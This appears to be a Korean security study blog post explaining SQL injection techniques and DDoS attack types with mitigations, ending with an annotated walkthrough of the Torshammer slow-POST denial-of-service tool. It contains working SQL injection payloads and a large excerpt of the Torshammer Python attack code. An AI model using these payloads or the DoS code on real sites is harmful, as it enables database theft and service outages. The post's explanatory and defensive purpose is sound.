SQL Injection

웹 사이트의 입력란, 파라미터에 악의적인 쿼리문을 삽입하여 DB를 해킹하는 공격기법

 

공격 유형

  Error Based Union Based Boolean Based Time Based
설명 오류를 발생시키는 쿼리문을 삽입해서 발생하는 오류 구문을 통해 필요한 정보를 습득 2개 이상의 쿼리를 요청하여 결과를 얻는 Union 연산자를 삽입해서 공격 참, 거짓을 출력하는 페이지에서 쿼리를 조작하여 공격 쿼리문의 참, 거짓에 따라 응답시간을 다르게 설정하여 공격
공격 구문 extractvalue(xml_frag, xpath_expr)# union select 1,column_name,3 from information_schema.columns# ' or 1=1#
' or 1=0#
' or 1=1 and sleep(2)#

 

공격 유형 분석

Error Based SQL Injection

extravtvalue(XML,XPath)

  • 인자 값에는 xml과 XPath 표현식이 필요하고 표현식에 일치하는 데이터를 추출해서 반환해주는 함수
  • 이 함수를 SQL쿼리에 사용하면 쿼리의 실행 결과가 오류 메세지에 포함되는 것을 악용한 공격
SELECT extractvalue(1,concat(0x3a,version())); ##DB 버전 확인을 위한 쿼리문

 

 

Union Based SQL Injection

union

  • 전제조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 한다.
  • UNION이란 둘 이상의 쿼리문에서 검색된 레코드를 단일 집합으로 결합해주는 연산자
  • 칼럼 수를 일치시킬 때까지 테스트해가면서 칼럼수를 알아낸 후 UNION 공격 수행
' union select all 1,table_name,3,4 from information_schema.table#

 

 

Boolean Based SQL Injection

  • 참, 거짓 정보를 도출하는 SQL 쿼리문을 삽입하여 DB 정보를 탈취하는 공격
' or 1=1# 참일 경우의 메시지 확인
' or 1=0# 거짓인 경우 메시지 확인
' order by 숫자# 같은 원리로 칼럼 갯수 찾기
' or 1=1 and length(database())=숫자# 같은 원리로 DB 이름 길이 찾기

 

 

Time Based SQL Injection

  • sleep()함수를 이용하여 참, 거짓을 알아내는 공격
  • sleep()함수를 넣어 참이면 대기시간을 갖고 거짓이면 동작하지 않도록 하여 참과 거짓을 구분 
' or 1=1 and sleep(2)# 참이면 2초간 대기
' or 1=1 and length(database()) = 숫자 and sleep(2)# 데이터베이스 길이 확인
' or 1=1 and substring(database(),1,1)='문자'and sleep(2)# DB명 첫 글자 확인
' or 1=1 and substring(database(),2,1)='문자'and sleep(2)# DB명 두번째 글자 확인

 

 

 


웹 페이지와 DB의 정보를 확인 후 SQL Injection 공격 시도하는 경우보다 봇을 이용한 SQL Injection 공격을 자주 시도하기 때문에 공격유효성이 존재하는 SQL Injection 공격은 흔치않다.

DDOS Attack

다수의 서버, PC등을 이용해 비정상적인 트래픽을 유발시켜서 대상 시스템을 마비시키는 공격 행위

 

 

동작원리

1. 취약한 서버를 스캔

2. 경유지 서버에서 악성코드를 내려 받아서 봇넷을 구축

  • 예시) wget https://url, wget https://ip
  • 봇넷 : 악성코드 등에 감염된 PC, IoT, 서버들로 구성된 집단

3. 공격자는 봇넷에 명령을 전달하여 피해자 서버에 대규모의 트래픽을 유발

 

 

공격유형 및 대응방법

  대역폭 공격 자원 소진 공격 웹/DB 부하 공격
목표 시스템의 네트워크 대역폭을 포화시키는 것을 목표 시스템 리소스를 과도하게 사용하여 서비스를 마비시키는 것을 목표 웹 서버 또는 데이터베이스 서버에 과도한 요청을 보내는 것을 목표
유형 UDP Flooding
ICMP Flooding 등
TCP SYN, ACK Flooding 등 GET, POST Flooding 등
피해  동일 네트워크 회선을 사용하는 모든 시스템 접속 불가 대상 서버, 시스템 과부하 발생 대상 웹/DB 과부하 발생

 

대역폭 공격 

UDP Flooding

  • UDP 프로토콜의 비연결형 특성을 이용한 공격
  • 봇넷을 이용해 피해 서버로 대규모의 UDP 패킷을 전달
  • 대규모 UDP 패킷이 피해자의 시스템으로 전달되면서 피해 시스템의 회선 대역폭을 고갈
  • 대응 방법 : UDP패킷을 차단하거나 UDP 패킷을 사용한다면 불필요한 포트 차단, 임계치 기반 차단 정책 적용

ICMP Flooding

  • 봇넷을 이용해 대량의 ICMP 패킷을 이용하여 네트워크 대역폭을 포화시키거나 고갈시키는 공격
  • 대량의 ICMP 패킷을 Request를 보내면 트래픽이 급증하고 이에 대한 응답(Reply)을 처리하기 위해 많은 자원을 소진
  • 대응 방법 : ICMP패킷을 차단하거나 ICMP 패킷을 사용한다면 과도하게 많은 ICMP 패킷을 차단하는 룰 적용

 

자원 소진 공격

TCP SYN Flooding

  • 가짜 IP주소를 사용하여 대량의 SYN 패킷을 피해자 서버에 전송하는 공격
  • 피해자 서버는 가짜 IP주소로 SYN-ACK응답을 보내고 ACK응답을 기다리지만 가짜 IP주소이기 때문에 보류 상태로 남아있게 되고 새로운 유효한 응답을 받지 못하게 되어 서비스 거부 상태에 빠지게된다.
  • 대응 방법 : TCP SYN Cookie를 사용하여 SYN Flooding을 감지하고 차단하거나 TCP 연결유지 시간 조정

TCP ACK Flooding

  • 대량의 TCK ACK(인증확인) 패킷을 피해자 서버로 전송하는 공격
  • 피해자 서버는 TCK ACK패킷을 확인할 때마다 리소스를 소비하며 패킷 확인을 위한 연결을 유지하기 때문에 유효한 연결을 처리하지 못하고 서비스 거부상태에 빠지게 된다.
  • 대응 방법 : 정해진 임계치 이상으로 유입되는 ACK 패킷에 대하여 차단하거나 3-way-handshake를 거치지 않고 발생하는 ACK 패킷에 대하여 차단 설정

 

웹/DB 부하 공격

GET Flooding

  • 대량의 GET 요청을 웹 서버에 전송하는 공격
  • 웹 서버에 대량의 GET요청을 보내고 서버는 이 요청에 응답하기 위해 웹 서버의 자원과 DB서버까지 자원을 소진시켜 웹 서비스 이용을 거부시킨다.
  • 대응 방법 : 단기간에 대량의 Request를 보낸 악성 클라이언트 차단, 임계치를 초과한 IP 차단 

Slowloris Attack

  • GET Flooding과 유사하지만 오랜 시간 지속적으로 수행한다는 차이점
  • 헤더 값을 모두 전송하지않고 일부분만 전송하여 연결을 유지시킴으로써 서버의 자원을 고갈
  • HTTP 헤더의 끝을 /r/n/r/n이라는 개행문자로 구분하는데 이 마지막 개행문자를 보내지 않고 지속적으로 의미없는 변수를 추가하면 서버는 헤더 정보가 아직 전송 중이라고 인식하고 연결을 유지한다.
  • 대응 방법 : 세션 유지 시간을 조절하여 유지시간을 초과하면 차단 조치, 헤더 값 일부분을 전송하면 차단 조치

POST Flooding

  • 대량의 POST 요청을 웹 서버에 전송하는 공격
  • 웹 서버에 대량의 POST 요청을 전송하면 POST요청을 처리하는데 많은 리소스를 사용하게 되고 이 과정에서 자원이 고갈
  • 대응 방법 : 과도하게 많은 POST요청을 전송하는 IP 확인 후 차단 조치

RUDY(R-U-Dead-Yet) Attack

  • POST Method를 이용한 Slow 공격 
  • POST Content-Length 헤더에 대량의 데이터를 삽입하여 장시간에 조금씩 분할해서 전송하면 서버는 데이터를 수신하기 위해 장시간 연결을 유지하게 되고 정상 사용자들의 요청을 받아들일 수 없게 된다.
  • 대응 방법 : Content-Length 및 Packet-Size 임계치 설정하여 초과하면 차단, 세션 유지 시간을 조절하여 초과하면 차단 조치

 

 

DDOS 소스 코드 분석(Torshammer)

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True

    def _send_http_post(self, pause=10):
        global stop_now

        self.socks.send("POST / HTTP/1.1\r\n"
                        "Host: %s\r\n"
                        "User-Agent: %s\r\n"
                        "Connection: keep-alive\r\n"
                        "Keep-Alive: 900\r\n"
                        "Content-Length: 10000\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
                        (self.host, random.choice(useragents)))

        for i in range(0, 9999):
            if stop_now:
                self.running = False
                break
            p = random.choice(string.letters+string.digits)
            print(term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL)
            self.socks.send(p)
            time.sleep(random.uniform(0.1, 3))

        # self.socks.close()
  • HTTP POST 공격을 할 때 사용되는 변수를 초기화 하는 과정을 거친 후 헤더 값을 지정하고 대량의 데이터를 랜덤으로 선정하여 소켓에 저장합니다.

 

    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:
                        self.socks.set_proxy(socks.SOCKS5, '127.0.0.1', 9150)
                        time.sleep(1)
                    self.socks.connect((self.host, self.port))
                    print(term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL)
                    break
                except Exception as e:
                    print(term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL)
                    print(e)
                    time.sleep(1)
                    sys.exit()

            while self.running:
                try:
                    self._send_http_post()
                except Exception as e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print(term.BOL + term.UP + term.CLEAR_EOL + "Thread broken, restarting..." + term.NORMAL)
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass
  • tor의 값이 TRUE일 경우 프록시 설정을 하고 설정한 host와 port로 연결을 시도합니다. 그 후 앞에서 설정한 변수인 _send_http_post를 사용해 HTTP POST 공격을 시도합니다.

 

def main(argv):
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage()
        sys.exit(-1)

    global stop_now

    target = ''
    threads = 256
    tor = False
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print(term.DOWN + term.RED + "/*" + term.NORMAL)
    print(term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL)
    print(term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL)
    print(term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL)
    print(term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL)

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.is_alive()]
        except KeyboardInterrupt:
            print("\nShutting down threads...\n")
            for t in rthreads:
                stop_now = True
                t.running = False
  • 프로그램을 실행시키면 main함수에서 실행되며 target, port, threads, tor 사용 여부 옵션에 따라 프로그램이 실행되게 됩니다.

 

 


torshammer 소스 코드

https://github.com/Karlheinzniebuhr/torshammer

 

+ Recent posts